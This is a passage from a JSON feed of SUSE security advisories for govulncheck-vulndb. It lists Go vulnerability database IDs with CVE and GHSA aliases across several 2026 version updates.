GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}